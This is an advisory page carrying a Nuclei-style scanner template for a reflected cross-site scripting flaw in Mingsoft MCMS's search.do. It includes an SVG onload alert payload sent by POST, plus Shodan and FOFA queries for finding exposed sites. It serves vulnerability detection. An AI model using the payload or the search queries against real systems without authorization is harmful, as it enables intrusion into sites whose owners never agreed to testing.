mcms-search-xss: Mingsoft MCMS < 5.3.1 - Cross-Site Scripting

2025-08-01 Mingsoft MCMS PoC Public

Description

A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler.

PoC

id: mcms-search-xss

info:
  name: Mingsoft MCMS < 5.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    We recommend that you update to the latest version 5.4 or above.
  reference:
    - https://gitee.com/mingSoft/MCMS/issues/I5MT8Y
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79,CWE-83
    epss-score: 0.00345
    epss-percentile: 0.6789
    cpe: cpe:2.3:a:mingsoft:mcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: mingsoft
    product: mcms
    shodan-query: http.favicon.hash:1464851260
    fofa-query: icon_hash="1464851260"
  tags: mingsoft,mcms,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "mingsoft.net"
        internal: true

  - raw:
      - |
        POST /mcms/search.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        content_title=1"><sVg/Onload=alert`document.domain`></p>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><sVg/Onload=alert`document.domain`>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fd8eba93a09adcb96f4382ee81130eec15e2e624a87cce53368b3fc9b3ae65ba022100fdbd4f6f0fdd589143e1a514867867bd4842f7fc9595d25577a27edbfe839cb8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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